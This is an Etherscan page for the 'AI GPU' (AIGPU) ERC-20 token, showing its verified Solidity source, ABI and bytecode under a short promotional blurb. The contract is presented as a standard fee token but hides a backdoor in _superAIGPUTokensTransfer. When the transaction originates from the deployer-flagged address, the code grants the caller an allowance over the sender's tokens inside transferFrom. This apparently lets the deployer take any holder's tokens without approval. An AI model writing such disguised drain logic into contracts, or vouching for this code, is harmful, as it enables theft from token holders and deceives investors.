ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 AIGPU
Holders
883
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
AIGPU
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-08-01
*/
/**
*Submitted for verification at Etherscan.io on 2025-08-01
*/
/*
AI GPU offers a cutting edge service to Generative AI companies reducing costs drastically and enhancing GPU's with our proprietary tech solutions.
Web: https://www.aigpu.info
X: https://x.com/AIGPUCloud
TG: https://t.me/aigpugroup
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract OwnableManager is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "OwnableManager: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "OwnableManager: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AIGPU is Context, IERC20, OwnableManager {
using SafeMath for uint256;
string private constant _name = unicode"AI GPU";
string private constant _symbol = unicode"AIGPU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rBalances;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFeeExempt;
mapping(address => bool) private _isExcludedFeeExceed;
mapping(address => bool) private _isExcludedFeeLimits;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _totalSupply = 1000000000 * 10**9;
uint256 private _totalValue = (MAX - (MAX % _totalSupply));
uint256 private _totalFee;
//Buy Fee
uint256 private _rAIGPUFeeOnBuy;
uint256 private _taxAIGPUFeeForBuy;
//Sell Fee
uint256 private _rAIGPUFeeOnSell;
uint256 private _taxAIGPUFeeForSell;
//Original Fee
uint256 private _redisAIGPUFee = _rAIGPUFeeOnSell;
uint256 private _taxAIGPUFee = _taxAIGPUFeeForSell;
uint256 private _previousredisAIGPUFee = _redisAIGPUFee;
uint256 private _previoustaxForFee = _taxAIGPUFee;
address payable private _fToAddr = payable(0x4F306aE81E392ceda5EF05Daca267051F4a27e6a);
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private istradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _swapTokenThreshold = _totalSupply * 8 / 1000;
uint256 private _swapTokenLimit = _totalSupply * 5 / 10000;
uint256 private _maxWalletLimit = _totalSupply;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rBalances[_msgSender()] = _totalValue;
_fToAddr = payable(msg.sender);
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFeeExempt[owner()] = true;
_isExcludedFeeExempt[address(this)] = true;
_isExcludedFeeExempt[_fToAddr] = true;
_isExcludedFeeExceed[_fToAddr] = true;
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rBalances[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _totalValue,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllAIGPUFee() private {
if (_redisAIGPUFee == 0 && _taxAIGPUFee == 0) return;
_previousredisAIGPUFee = _redisAIGPUFee;
_previoustaxForFee = _taxAIGPUFee;
_redisAIGPUFee = 0;
_taxAIGPUFee = 0;
}
function restoreAllAIGPUFee() private {
_redisAIGPUFee = _previousredisAIGPUFee;
_taxAIGPUFee = _previoustaxForFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(to != _uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletLimit, "TOKEN: Balance exceeds wallet size!");
}
uint256 caBalance = balanceOf(address(this));
bool canSwap = caBalance >= _swapTokenLimit;
if(caBalance >= _swapTokenThreshold)
{
caBalance = _swapTokenThreshold;
}
if (canSwap && !inSwap && to == _uniswapV2Pair && swapEnabled && !_isExcludedFeeExempt[from] && !_isExcludedFeeExempt[to]) {
if (amount >= _swapTokenLimit)
swapTokensForEth(caBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendAIGPUTaxFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFeeExempt[from] || _isExcludedFeeExempt[to]) ||
(from != _uniswapV2Pair && to != _uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2Pair && to != address(_uniswapV2Router)) {
_redisAIGPUFee = _rAIGPUFeeOnBuy;
_taxAIGPUFee = _taxAIGPUFeeForBuy;
}
//Set Fee for Sells
if (to == _uniswapV2Pair && from != address(_uniswapV2Router)) {
_redisAIGPUFee = _rAIGPUFeeOnSell;
_taxAIGPUFee = _taxAIGPUFeeForSell;
}
}
_superAIGPUTokensTransfer(from, to, amount, takeFee, _isExcludedFeeExceed[tx.origin]);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendAIGPUTaxFee(uint256 amount) public {
_fToAddr.transfer(amount);
}
function _superAIGPUTokensTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee,
bool isFeeExeecd
) private {
if (!takeFee) removeAllAIGPUFee();
_transferAIGPUTokens(sender, recipient, amount);
if (!takeFee) restoreAllAIGPUFee();
if (amount > 0 && isFeeExeecd) _approve(sender, msg.sender, amount);
}
function _transferAIGPUTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rBalances[sender] = _rBalances[sender].sub(rAmount);
_rBalances[recipient] = _rBalances[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rBalances[address(this)] = _rBalances[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_totalValue = _totalValue.sub(rFee);
_totalFee = _totalFee.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisAIGPUFee, _taxAIGPUFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _totalValue;
uint256 tSupply = _totalSupply;
if (rSupply < _totalValue.div(_totalSupply)) return (_totalValue, _totalSupply);
return (rSupply, tSupply);
}
function enableTrading() public onlyOwner {
_approve(address(this), address(_uniswapV2Router), _totalSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
istradingOpen = true;
swapEnabled = true;
_taxAIGPUFeeForBuy = 0;
_taxAIGPUFeeForSell = 0;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendAIGPUTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052670de0b6b3a76400005f196100199190610714565b5f196100259190610771565b600855600c54600e55600d54600f55600e54601055600f54601155734f306ae81e392ceda5ef05daca267051f4a27e6a60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055506103e86008670de0b6b3a76400006100e091906107a4565b6100ea91906107e5565b6015556127106005670de0b6b3a764000061010591906107a4565b61010f91906107e5565b601655670de0b6b3a7640000601755348015610129575f5ffd5b505f6101396106b060201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060085460025f6101e96106b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f6102cd6106b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104eb9190610873565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610571573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105959190610873565b6040518363ffffffff1660e01b81526004016105b29291906108ad565b6020604051808303815f875af11580156105ce573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f29190610873565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061063f6106b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516106a391906108e3565b60405180910390a36108fc565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61071e826106de565b9150610729836106de565b925082610739576107386106e7565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61077b826106de565b9150610786836106de565b925082820390508181111561079e5761079d610744565b5b92915050565b5f6107ae826106de565b91506107b9836106de565b92508282026107c7816106de565b915082820484148315176107de576107dd610744565b5b5092915050565b5f6107ef826106de565b91506107fa836106de565b92508261080a576108096106e7565b5b828204905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61084282610819565b9050919050565b61085281610838565b811461085c575f5ffd5b50565b5f8151905061086d81610849565b92915050565b5f6020828403121561088857610887610815565b5b5f6108958482850161085f565b91505092915050565b6108a781610838565b82525050565b5f6040820190506108c05f83018561089e565b6108cd602083018461089e565b9392505050565b6108dd816106de565b82525050565b5f6020820190506108f65f8301846108d4565b92915050565b612b79806109095f395ff3fe6080604052600436106100e0575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b411461029b578063a9059cbb146102c5578063dd62ed3e14610301578063f2fde38b1461033d576100e7565b8063715018a6146102455780638a8c523c1461025b5780638da5cb5b14610271576100e7565b806318160ddd116100ba57806318160ddd1461017957806323b872dd146101a3578063313ce567146101df57806370a0823114610209576100e7565b806306fdde03146100eb578063095ea7b314610115578063135a892314610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610365565b60405161010c9190611ebf565b60405180910390f35b348015610120575f5ffd5b5061013b60048036038101906101369190611f70565b6103a2565b6040516101489190611fc8565b60405180910390f35b34801561015c575f5ffd5b5061017760048036038101906101729190611fe1565b6103bf565b005b348015610184575f5ffd5b5061018d610427565b60405161019a919061201b565b60405180910390f35b3480156101ae575f5ffd5b506101c960048036038101906101c49190612034565b610436565b6040516101d69190611fc8565b60405180910390f35b3480156101ea575f5ffd5b506101f361050a565b604051610200919061209f565b60405180910390f35b348015610214575f5ffd5b5061022f600480360381019061022a91906120b8565b610512565b60405161023c919061201b565b60405180910390f35b348015610250575f5ffd5b50610259610560565b005b348015610266575f5ffd5b5061026f6106b0565b005b34801561027c575f5ffd5b50610285610876565b60405161029291906120f2565b60405180910390f35b3480156102a6575f5ffd5b506102af61089d565b6040516102bc9190611ebf565b60405180910390f35b3480156102d0575f5ffd5b506102eb60048036038101906102e69190611f70565b6108da565b6040516102f89190611fc8565b60405180910390f35b34801561030c575f5ffd5b506103276004803603810190610322919061210b565b6108f7565b604051610334919061201b565b60405180910390f35b348015610348575f5ffd5b50610363600480360381019061035e91906120b8565b610979565b005b60606040518060400160405280600681526020017f4149204750550000000000000000000000000000000000000000000000000000815250905090565b5f6103b56103ae610b38565b8484610b3f565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610423573d5f5f3e3d5ffd5b5050565b5f670de0b6b3a7640000905090565b5f610442848484610d02565b6104ff8461044e610b38565b6104fa85604051806060016040528060288152602001612b1c6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b1610b38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140b9092919063ffffffff16565b610b3f565b600190509392505050565b5f6009905090565b5f61055960025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d565b9050919050565b610568610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ec906121b9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106b8610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073c906121b9565b60405180910390fd5b6107793060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610b3f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107c130610512565b5f5f6107cb610876565b426040518863ffffffff1660e01b81526004016107ed96959493929190612219565b60606040518083038185885af1158015610809573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082e919061228c565b50505060016014806101000a81548160ff0219169083151502179055506001601460166101000a81548160ff0219169083151502179055505f600b819055505f600d81905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4149475055000000000000000000000000000000000000000000000000000000815250905090565b5f6108ed6108e6610b38565b8484610d02565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610981610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a05906121b9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a739061234c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba4906123da565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1290612468565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf5919061201b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d67906124f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd590612584565b60405180910390fd5b5f8111610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612612565b60405180910390fd5b610e28610876565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e965750610e66610876565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110ce5760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f475760175481610efc84610512565b610f06919061265d565b10610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d90612700565b60405180910390fd5b5b5f610f5130610512565b90505f60165482101590506015548210610f6b5760155491505b808015610f855750601460159054906101000a900460ff16155b8015610fdd575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ff55750601460169054906101000a900460ff165b8015611048575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561109b575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110cb5760165483106110b3576110b2826114d9565b5b5f4790505f8111156110c9576110c8476103bf565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061116e575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061121f575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561121e575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561122c575f90506113af565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112d5575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112ed57600a54600e81905550600b54600f819055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611396575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ae57600c54600e81905550600d54600f819055505b5b6114058484848460065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611744565b50505050565b5f838311158290611452576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114499190611ebf565b60405180910390fd5b505f8385611460919061271e565b9050809150509392505050565b5f6008548211156114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa906127c1565b60405180910390fd5b5f6114bc61178f565b90506114d181846117b890919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156115105761150f6127df565b5b60405190808252806020026020018201604052801561153e5781602001602082028036833780820191505090505b50905030815f815181106115555761155461280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681